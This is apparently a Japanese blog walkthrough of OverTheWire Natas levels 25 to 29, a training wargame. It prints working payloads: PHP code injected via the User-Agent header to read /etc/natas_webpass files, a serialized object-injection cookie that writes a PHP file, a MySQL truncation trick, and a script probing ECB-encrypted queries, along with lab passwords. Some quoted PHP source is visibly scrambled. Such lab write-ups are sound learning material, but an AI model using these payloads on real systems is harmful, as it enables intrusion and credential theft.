<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src="http://natas.labs.overthewire.org/js/wechall-data.js"></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas25", "pass": "O9QD9DZBDq1YpswiTM5oqMDaOtuZtAcx" };</script></head>
<body>
<h1>natas25</h1>
<div id="content">
<div align="right">
<form>
<select name='lang' onchange='this.form.submit()'>
<option>language</option>
<option>de</option><option>en</option></select>
</form>
</div>
~$ curl -u natas25:O9QD9DZBDq1YpswiTM5oqMDaOtuZtAcx --header 'User-Agent: <?php include("/etc/natas_webpass/natas26"); ?>' --cookie 'PHPSESSID=test' http://natas25.natas.labs.overthewire.org/\?lang\=....//logs/natas25_test.log
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src="http://natas.labs.overthewire.org/js/wechall-data.js"></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas25", "pass": "O9QD9DZBDq1YpswiTM5oqMDaOtuZtAcx" };</script></head>
<body>
<h1>natas25</h1>
<div id="content">
<div align="right">
<form>
<select name='lang' onchange='this.form.submit()'>
<option>language</option>
<option>de</option><option>en</option></select>
</form>
</div>
[26.06.2023 02::43:28] 8A506rfIAXbKKk68yJeuTuRq4UfcK70k
"Illegal file access detected! Aborting!"
[26.06.2023 02::44:03] 8A506rfIAXbKKk68yJeuTuRq4UfcK70k
"Directory traversal attempt! fixing request."
<br />
<b>Notice</b>: Undefined variable: __GREETING in <b>/var/www/natas/natas25/index.php</b> on line <b>80</b><br />
<h2></h2><br />
<b>Notice</b>: Undefined variable: __MSG in <b>/var/www/natas/natas25/index.php</b> on line <b>81</b><br />
<p align="justify"><br />
<b>Notice</b>: Undefined variable: __FOOTER in <b>/var/www/natas/natas25/index.php</b> on line <b>82</b><br />
<div align="right"><h6></h6><div><p>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
パスワード:8A506rfIAXbKKk68yJeuTuRq4UfcK70k
Level 26 to 27
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src="http://natas.labs.overthewire.org/js/wechall-data.js"></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas26", "pass": "<censored>" };</script></head>
<body>
<?php
// sry, this is ugly as hell.
// cheers kaliman ;)
// - morla
Logger{
class $logFile;
private $initMsg;
private $exitMsg;
private
__construct($file){
function // initialise variables
$this->initMsg="#--session started--#\n";
$this->exitMsg="#--session end--#\n";
$this->logFile = "/tmp/natas26_" . $file . ".log";
// write initial message
$fd=fopen($this->logFile,"a+");
fwrite($fd,$this->initMsg);
fclose($fd);
}
$msg){
function log($fd=fopen($this->logFile,"a+");
fwrite($fd,$msg."\n");
fclose($fd);
}
__destruct(){
function // write exit message
$fd=fopen($this->logFile,"a+");
fwrite($fd,$this->exitMsg);
fclose($fd);
}
}
$filename){
function showImage(if(file_exists($filename))
"<img src=\"$filename\">";
echo
}
$filename){
function drawImage($img=imagecreatetruecolor(400,300);
$img);
drawFromUserdata(imagepng($img,$filename);
imagedestroy($img);
}
$img){
function drawFromUserdata(if( array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){
$color=imagecolorallocate($img,0xff,0x12,0x1c);
imageline($img,$_GET["x1"], $_GET["y1"],
$_GET["x2"], $_GET["y2"], $color);
}
array_key_exists("drawing", $_COOKIE)) {
if ($drawing=unserialize(base64_decode($_COOKIE["drawing"]));
if($drawing) {
foreach($drawing as $object)
if( array_key_exists("x1", $object) &&
array_key_exists("y1", $object) &&
array_key_exists("x2", $object) &&
array_key_exists("y2", $object)) {
$color=imagecolorallocate($img,0xff,0x12,0x1c);
imageline($img,$object["x1"],$object["y1"],
$object["x2"],$object["y2"],$color);
}
}
}
}
}
function storeData(){$new_object=array();
if (array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){
$new_object["x1"]=$_GET["x1"];
$new_object["y1"]=$_GET["y1"];
$new_object["x2"]=$_GET["x2"];
$new_object["y2"]=$_GET["y2"];
}
array_key_exists("drawing", $_COOKIE)){
if ($drawing=unserialize(base64_decode($_COOKIE["drawing"]));
else{
} // create new array
$drawing=array();
}
$drawing[]=$new_object;
setcookie("drawing",base64_encode(serialize($drawing)));
} ?>
<h1>natas26</h1>
<div id="content">
Draw a line:<br>
<form name="input" method="get">
X1<input type="text" name="x1" size=2>
Y1<input type="text" name="y1" size=2>
X2<input type="text" name="x2" size=2>
Y2<input type="text" name="y2" size=2>
<input type="submit" value="DRAW!">
</form>
<?php
session_start();
array_key_exists("drawing", $_COOKIE) ||
if (. (array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET))) {
$imgfile="img/natas26_" . session_id() .".png";
$imgfile);
drawImage($imgfile);
showImage(;
storeData()
} ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
入力した線分を描けるようになっているみたい。
ちょっと遊んでみる。
Logger
クラスはなんのためにあるんだろう。
見当がつかないので怪しげなところをググっていたらこんなものを発見した。
https://www.sjoerdlangkemper.nl/2021/04/04/remote-code-execution-through-unsafe-unserialize/
PHPのunserialize
に既存のクラスを渡すとデストラクタを実行できるとのこと。しかもコンストラクタを通さずにオブジェクトを初期化できるので、private
なフィールドも書き換えることができるらしい。
Logger
のデストラクタを使えば任意のファイルに任意の文字列を書き込むことができそう。
見た感じメソッドの情報はserialize
されていないよう。
php -a
Interactive shell
php > class Logger{
php { private $logFile = "image/test.php";
php { private $initMsg = "";
php { private $exitMsg = "<?php include('/etc/natas_webpass/natas27'); ?>";
php { }
php > $logger = new Logger();
php > echo base64_encode(serialize($logger));
Tzo2OiJMb2dnZXIiOjM6e3M6MTU6IgBMb2dnZXIAbG9nRmlsZSI7czoxNDoiaW1hZ2UvdGVzdC5waHAiO3M6MTU6IgBMb2dnZXIAaW5pdE1zZyI7czowOiIiO3M6MTU6IgBMb2dnZXIAZXhpdE1zZyI7czo0NzoiPD9waHAgaW5jbHVkZSgnL2V0Yy9uYXRhc193ZWJwYXNzL25hdGFzMjcnKTsgPz4iO30=
画像のあるimg
フォルダ内であればブラウザからアクセスできるので、logFile
にはimg/test.php
を指定した。
あとはこれをdrawing
クッキーに設定して、もう一度ページを読み込めばオッケー。
なんか先人のメッセージが残っていた、、
パスワード:PSO8xysPi00WKIiZZ6s6PtRmFy9cbxj3
Level 27 to 28
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src="http://natas.labs.overthewire.org/js/wechall-data.js"></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas27", "pass": "<censored>" };</script></head>
<body>
<h1>natas27</h1>
<div id="content">
<?php
// morla / 10111
// database gets cleared every 5 min
/*
CREATE TABLE `users` (
`username` varchar(64) DEFAULT NULL,
`password` varchar(64) DEFAULT NULL
);
*/
$link,$usr,$pass){
function checkCredentials($user=mysqli_real_escape_string($link, $usr);
$password=mysqli_real_escape_string($link, $pass);
$query = "SELECT username from users where username='$user' and password='$password' ";
$res = mysqli_query($link, $query);
if(mysqli_num_rows($res) > 0){
True;
return
} False;
return
}
$link,$usr){
function validUser($user=mysqli_real_escape_string($link, $usr);
$query = "SELECT * from users where username='$user'";
$res = mysqli_query($link, $query);
if($res) {
if(mysqli_num_rows($res) > 0) {
True;
return
}
} False;
return
}
$link,$usr){
function dumpData($user=mysqli_real_escape_string($link, trim($usr));
$query = "SELECT * from users where username='$user'";
$res = mysqli_query($link, $query);
$res) {
if(mysqli_num_rows($res) > 0) {
if($row = mysqli_fetch_assoc($res)) {
while (// thanks to Gobo for reporting this bug!
//return print_r($row);
$row,true);
return print_r(
}
}
} False;
return
}
$link, $usr, $pass){
function createUser($usr != trim($usr)) {
if("Go away hacker";
echo False;
return
} $user=mysqli_real_escape_string($link, substr($usr, 0, 64));
$password=mysqli_real_escape_string($link, substr($pass, 0, 64));
$query = "INSERT INTO users (username,password) values ('$user','$password')";
$res = mysqli_query($link, $query);
mysqli_affected_rows($link) > 0){
if(True;
return
} False;
return
}
if (array_key_exists("username", $_REQUEST) and array_key_exists("password", $_REQUEST)) {
$link = mysqli_connect('localhost', 'natas27', '<censored>');
mysqli_select_db($link, 'natas27');
if(validUser($link,$_REQUEST["username"])) {
//user exists, check creds
if(checkCredentials($link,$_REQUEST["username"],$_REQUEST["password"])){
"Welcome " . htmlentities($_REQUEST["username"]) . "!<br>";
echo "Here is your data:<br>";
echo $data=dumpData($link,$_REQUEST["username"]);
$data);
print htmlentities(else {
} "Wrong password for user: " . htmlentities($_REQUEST["username"]) . "<br>";
echo
}
} else { //user doesn't exist
if(createUser($link,$_REQUEST["username"],$_REQUEST["password"])){
"User " . htmlentities($_REQUEST["username"]) . " was created!";
echo
}
} $link);
mysqli_close(
} else { ?>
<form action="index.php" method="POST">
Username: <input name="username"><br>
Password: <input name="password" type="password"><br>
<input type="submit" value="login" />
</form>
<?php } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
ユーザーネームとパスワードを入力してログインするか、ユーザーネームが存在しない場合にそのユーザーが作られるようになっている。
とりあえずnatas28
というユーザーが存在することを確認。
とりあえずcheckCredentials
のチェックを通過させて、dumpData
でパスワードを表示する方針でいく。
mysqli_real_escape_string
でエスケープされているから、インジェクション系は厳しそう。
わからん、、
答えを見ます。
https://n0j.github.io/2017/07/20/otw-natas-27.html
どうやらMySQLの仕様で、比較の際に行末のスペースが無視されるようになっているらしい。具体的には、where
句で"password"="password "
が真になるそう。
これは初見殺し。いやでも言われてみればtrim
とかがヒントだったのか。
解法としては、ユーザーネームに"natas28 a"
(スペース含め全部で65文字)、パスワードに"password"
を指定すると、
validUser
では"natas28 a"
にマッチするユーザーネームはないので偽が返ってくる。createUser
が呼ばれ、"natas28 a"
が64文字にトリムされ"natas28 "
となってデータベースに保存される。
そして次にユーザーネームに"natas28"
、パスワードに"password"
を指定してもう一回ロードすると、
validUser
では"natas28"
と"natas28 "
にマッチするので真が返ってくる。checkCredentials
が呼ばれ、ユーザーネームは"natas28"
と"natas28 "
にマッチし、パスワードでは後者の行の"password"
にマッチするので、真が返ってくる。dumpData
が呼ばれ、ユーザーネームは"natas28"
と"natas28 "
にマッチし、先にデータベースに登録されていた前者の行が表示される。
とのこと。ひょえー。
試してみる。
~$ curl -u natas27:PSO8xysPi00WKIiZZ6s6PtRmFy9cbxj3 -X POST -d 'username=natas28 a' -d 'password=' http://natas27.natas.labs.overthewire.org/
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas27", "pass": "PSO8xysPi00WKIiZZ6s6PtRmFy9cbxj3" };</script></head>
<body>
<h1>natas27</h1>
<div id="content">
User natas28 a was created!<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
~$ curl -u natas27:PSO8xysPi00WKIiZZ6s6PtRmFy9cbxj3 -X POST -d 'username=natas28' -d 'password=' http://natas27.natas.labs.overthewire.org/
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas27", "pass": "PSO8xysPi00WKIiZZ6s6PtRmFy9cbxj3" };</script></head>
<body>
<h1>natas27</h1>
<div id="content">
Wrong password for user: natas28<br><div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
あれ?上手くいっていない。
どういうことだろう。
試行錯誤の結果2回目のユーザーネームに"natas28 "
を指定すると上手くいった。
~$ curl -u natas27:PSO8xysPi00WKIiZZ6s6PtRmFy9cbxj3 -X POST -d 'username=natas28 ' -d 'password=' http://natas27.natas.labs.overthewire.org/
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas27", "pass": "PSO8xysPi00WKIiZZ6s6PtRmFy9cbxj3" };</script></head>
<body>
<h1>natas27</h1>
<div id="content">
Welcome natas28 !<br>Here is your data:<br>Array
(
[username] => natas28
[password] => skrwxciAe6Dnb0VfFDzDEHcCzQmv3Gd4
)
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
Wrong password for user: natas28
ということはcheckCredentials
にユーザーネームとして"natas28"
を渡したとき、"natas28 "
にマッチしていないことになる。
つまり行末のスペースはやっぱり無視されていないということ!?
調べてみると数年前の記事と数ヶ月前の記事で解説が微妙に違っていた。
https://gist.github.com/austinylin/18ce7f5cd730fda6631850d4d51cc098
この解説では特に"password"="password "
となるような動作は言及されていない。
さらによくみるとコードが変わっている。特に、dumpData
の
$user=mysqli_real_escape_string($link, $usr);
が
`user = mysqlirealescapestring(link, trim($usr));
に変わっている。
おそらく次のようなMySQLの設定で行末スペースの動作を変えたのだろう。
つまり2回目においては正しくは、
validUser
では"natas28"
と"natas28 "
にマッチするので真が返ってくる。checkCredentials
が呼ばれ、ユーザーネームは"natas28 "
のみにマッチし、パスワードでは後者の行の"password"
にマッチするので、真が返ってくる。dumpData
が呼ばれ、ユーザーネームは"natas28 "
をトリムした"natas28"
にマッチし、先にデータベースに登録されていた前者の行が表示される。
ということになる。
ややこしや。
パスワード:skrwxciAe6Dnb0VfFDzDEHcCzQmv3Gd4
Level 28 to 29
ソースコードがない!試しにa
と入力してみる。
同じ入力でも表示される内容が微妙に異なるので、おそらくランダムになっているのだろう。
GET
パラメータが気になるところではある。
同じ入力に対しては同じパラメータになることは確認した。
php -a
Interactive shell
php > echo urldecode('G%2BglEae6W%2F1XjA7vRm21nNyEco%2Fc%2BJ2TdR0Qp8dcjPKriAqPE2%2B%2BuYlniRMkobB1vfoQVOxoUVz5bypVRFkZR5BPSyq%2FLC12hqpypTFRyXA%3D');
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPKriAqPE2++uYlniRMkobB1vfoQVOxoUVz5bypVRFkZR5BPSyq/LC12hqpypTFRyXA=
php > echo base64_decode('G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPKriAqPE2++uYlniRMkobB1vfoQVOxoUVz5bypVRFkZR5BPSyq/LC12hqpypTFRyXA=');
%��[�W��Fm��܄r���u��\��
�o���g�$��u��T�hQ\�o*UDYG�OK*�,-v��r�1Q�p
Base64っぽいけどめっちゃバイナリ、、
~$ echo 'G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPKriAqPE2++uYlniRMkobB1vfoQVOxoUVz5bypVRFkZR5BPSyq/LC12hqpypTFRyXA=' | base64 -d > tes
t.bin
~$ file test.bin
test.bin: data
全くわからなかったのでヒント見ます。
https://axcheron.github.io/writeups/otw/natas/#natas-29-solution
どうやらこのパラメータはブロックごとに暗号化されているとのこと。またクエリの中身はSQL文らしい。まあパラメータ名がquery
だから当然か。
自分なりに理解したので簡単に解説書きます。
まずはランダムな入力に対応するquery
の値を調べてみる。
#!/bin/bash
random() {
LC_ALL=C tr -dc A-Za-z0-9 </dev/urandom | head -c "$1"
}
query() {
q=$(curl -s -u natas28:skrwxciAe6Dnb0VfFDzDEHcCzQmv3Gd4 -I -w '%{url}\n' "http://natas28.natas.labs.overthewire.org/?query=$1" | grep search.php | cut -d ' ' -f 2- | cut -d '=' -f 2)
q=$(php -r "echo urldecode(trim('$q'));")
echo "$q" | base64 -d | xxd -p | tr -d " \n" | fold -w 32
}
for i in {1..15}; do
for _ in {1..3}; do
p=$(random "$i")
echo "$p: ($i)"
query "$p"
printf "\n\n"
done
done
~$ ./test.sh
l: (1)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
2c912e6d4521f3a2c8d305c8828bff15
bdfa1054ec68515cf96f2a5544591947
904f4b2abf2c2d7686aa72a53151c970
y: (1)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
fb127b137355f7db7e33d4332aca3b0c
bdfa1054ec68515cf96f2a5544591947
904f4b2abf2c2d7686aa72a53151c970
3: (1)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
f01e0317dfd40ff2408b461ac0847b01
bdfa1054ec68515cf96f2a5544591947
904f4b2abf2c2d7686aa72a53151c970
PC: (2)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
86c6b6c9acfd90d02edad102c336db9e
48799a07b1d29b5982015c9355c2e00e
aded9bdbaca6a73b71b35a010d2c4c57
zX: (2)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
72be604c7ace52e0389829bbbbec8291
48799a07b1d29b5982015c9355c2e00e
aded9bdbaca6a73b71b35a010d2c4c57
nz: (2)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
fe3ee023b09b191c2a20f40fc7110f9a
48799a07b1d29b5982015c9355c2e00e
aded9bdbaca6a73b71b35a010d2c4c57
TSS: (3)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
b3d8cf2f86e45613e3c358319d32ee77
9a2e2b5db6f31f19a14f75678eadaa90
4249b93e4dea0909479995b9c44b351a
tAR: (3)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
46b654966e87db95d1b436a06a0ac4b8
9a2e2b5db6f31f19a14f75678eadaa90
4249b93e4dea0909479995b9c44b351a
wvc: (3)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
bace7fc8102b08d352f05910bb891994
9a2e2b5db6f31f19a14f75678eadaa90
4249b93e4dea0909479995b9c44b351a
WUmG: (4)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
cdd95ee70ea6bc7a6368fe03bceb28fa
29287f3cc5479e12e66f31c863b18047
56d5732dc8c770f64397158bc17a6e66
hfRX: (4)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
7290071b14458931e18fa82111ccb229
29287f3cc5479e12e66f31c863b18047
56d5732dc8c770f64397158bc17a6e66
pUoF: (4)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
122b01d80f0510f6daf9d6a233f67753
29287f3cc5479e12e66f31c863b18047
56d5732dc8c770f64397158bc17a6e66
Bupmv: (5)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
2dab3f1f1528a8676bd4199521f54c22
ac3b871c1c448386b45cd36d9e8f72f4
655149bbba2123d89d95417ea27f3a7b
EYA6r: (5)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
f57756c2cc61ebe6373cdf9ed47ab11a
ac3b871c1c448386b45cd36d9e8f72f4
655149bbba2123d89d95417ea27f3a7b
yS16T: (5)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
7432819935faa9e6344fe302d734dbf6
ac3b871c1c448386b45cd36d9e8f72f4
655149bbba2123d89d95417ea27f3a7b
BwYkAR: (6)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
3c03716e3df7930ac4a7e5b83ddd47d3
41c098c4bacdc5ed9357564e5105dd7e
64d0dcc868253692adfcbd3796d1bf8a
WVPr0a: (6)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
59e5355c375cdef41665224594963840
41c098c4bacdc5ed9357564e5105dd7e
64d0dcc868253692adfcbd3796d1bf8a
3yp6Z2: (6)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
224a33656ae14060d3b4c2aeba1cbf33
41c098c4bacdc5ed9357564e5105dd7e
64d0dcc868253692adfcbd3796d1bf8a
cZXga6X: (7)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
93a93dca42b598a20adaa7d7943568df
6486954aea46fb93e9ab85845b4f4bd0
d7ff2b725453fc294701e51f5d7c0f8e
z566abD: (7)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
086e79906fb48c2be04324697a63dbaf
6486954aea46fb93e9ab85845b4f4bd0
d7ff2b725453fc294701e51f5d7c0f8e
cJLnJSK: (7)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
eae8f9fc7a6dfe458397bcb4c861b670
6486954aea46fb93e9ab85845b4f4bd0
d7ff2b725453fc294701e51f5d7c0f8e
Yujui5mN: (8)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
432b511fb334a41722d8c13691fb7483
896de90884f86108b167f8b4aea5d763
917232051483e68e458fd066167b30a3
5VkF2NqE: (8)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
81483bbd47db28ec17187d0e9c68c2a5
896de90884f86108b167f8b4aea5d763
917232051483e68e458fd066167b30a3
CjbAJSP1: (8)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
2b9e42595d5a09e3507e399bafdd2713
896de90884f86108b167f8b4aea5d763
917232051483e68e458fd066167b30a3
k0IX55LJu: (9)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
e8df55b776581a7fc69e146770a02947
a09522f301cf9d36ac7023f165948c5a
9739cd90522fa7a86f95773b56f9f8c0
8eHVUnq8B: (9)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
a8862d53a09c1448ac187a4fd65a76da
a09522f301cf9d36ac7023f165948c5a
9739cd90522fa7a86f95773b56f9f8c0
sA0n10JJI: (9)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
5e1ddad9320c3e287b18cc9a61e52dcd
a09522f301cf9d36ac7023f165948c5a
9739cd90522fa7a86f95773b56f9f8c0
Wd5AtuZrQm: (10)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
7d514170df7e3a9fa2032405475d528b
738a5ffb4a4500246775175ae596bbd6
f34df339c69edce11f6650bbced62702
Z2ZoKuvdHH: (10)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
3d816777371b0d12fa9d4fc3c8a7ce99
738a5ffb4a4500246775175ae596bbd6
f34df339c69edce11f6650bbced62702
V2xangROfR: (10)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
075d18e98864301471ccdcc6ebf1241b
738a5ffb4a4500246775175ae596bbd6
f34df339c69edce11f6650bbced62702
PtyQ8m2qgHr: (11)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
07054a1214704b6b222f1fa616063ac0
77c3eba735f4ee82d639f99d1affb3ab
ca8cf4e610913abae39a067619204a5a
6XGu3xVbqdP: (11)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
2d43476451fca15373949f15782e4ce4
c0c9901a2a37dd1fc436b6a2b4d8bcf9
ca8cf4e610913abae39a067619204a5a
yXCn4IFVnRl: (11)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
585cfc6fe5b4166daef743669d818bc1
f583b553923366319ff4b3bb6b658d2a
ca8cf4e610913abae39a067619204a5a
El32taPCQk6G: (12)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
5312414ba792d89667dbe8f9df558501
bae65d13744f270290a4d4ed4adc4977
75fd5044fd063d26f6bb7f734b41c899
Tqsp7UChdSnj: (12)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
def026fa28a16fa2ea6ed8cd6b94933d
0b6a395c4e9dd6bf5abba6adf6861290
75fd5044fd063d26f6bb7f734b41c899
56cS2OWOhgUK: (12)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
d68db66ffef12c4a0273ed0237d5850d
cf6aba32ed87a428492833ca10ae2f44
75fd5044fd063d26f6bb7f734b41c899
AOx0MO8XMf0sr: (13)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
3d0a50d76fbee7f4ab88f7feea081614
c91cc3f43ddddb8cd86c57b331e5dc05
6223a14d9c4291b98775b03fbc73d4ed
d8ae51d7da71b2b083d919a0d7b88b98
8jc06CvaQ1B0b: (13)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
356039e4c0a9741b6ce6385401c31107
0aff9f817e18a27ca2eab14732b21ac8
6223a14d9c4291b98775b03fbc73d4ed
d8ae51d7da71b2b083d919a0d7b88b98
MIZ7AAsUJ23gr: (13)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
d7e233379f3f8c48b500af744e216fde
1635550100d18552cc745933c8793445
6223a14d9c4291b98775b03fbc73d4ed
d8ae51d7da71b2b083d919a0d7b88b98
TcBJiHTtpefk34: (14)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
407fb8e6942b8efc85481b94d80de15c
1bc1792fe99771f833a77e8ad726b273
4257a343daadaaf2c0e3a1d71ce03dd1
7b7baca655f298a321e90e3f7a60d4d8
kczMLliIuKNksM: (14)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
d5e4c015068fc6ebd97e7d6f14cb45d5
cc1fc6eb5add8c7f1c2eb66bfe8f2668
4257a343daadaaf2c0e3a1d71ce03dd1
7b7baca655f298a321e90e3f7a60d4d8
fvJz5eotoJ2qju: (14)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
2b3ebde42b9a4beeff5550b74b23fc90
4abd9539cd288a87081ee01be2a45913
4257a343daadaaf2c0e3a1d71ce03dd1
7b7baca655f298a321e90e3f7a60d4d8
FD3sRlPiiNyZFRF: (15)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
84218e132d0a88d14d1d2e1586176a85
47a1971f73b444fe8949498e965909ce
a773f3185094aa01408f1f97d037d385
678c5773ecc28f870e4f4ebc6c8070a4
TNIj2xXEfb5ShFm: (15)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
8adb97dee713be0cc43733df004f9f42
76d8af74b01dd170c04e43839f4c7650
a773f3185094aa01408f1f97d037d385
678c5773ecc28f870e4f4ebc6c8070a4
LbK8xBVekxrfDUV: (15)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
6000ecfa9fba3822b74f3cb2db329f85
c0d364b0d001b8eb5d024784e32db0e6
a773f3185094aa01408f1f97d037d385
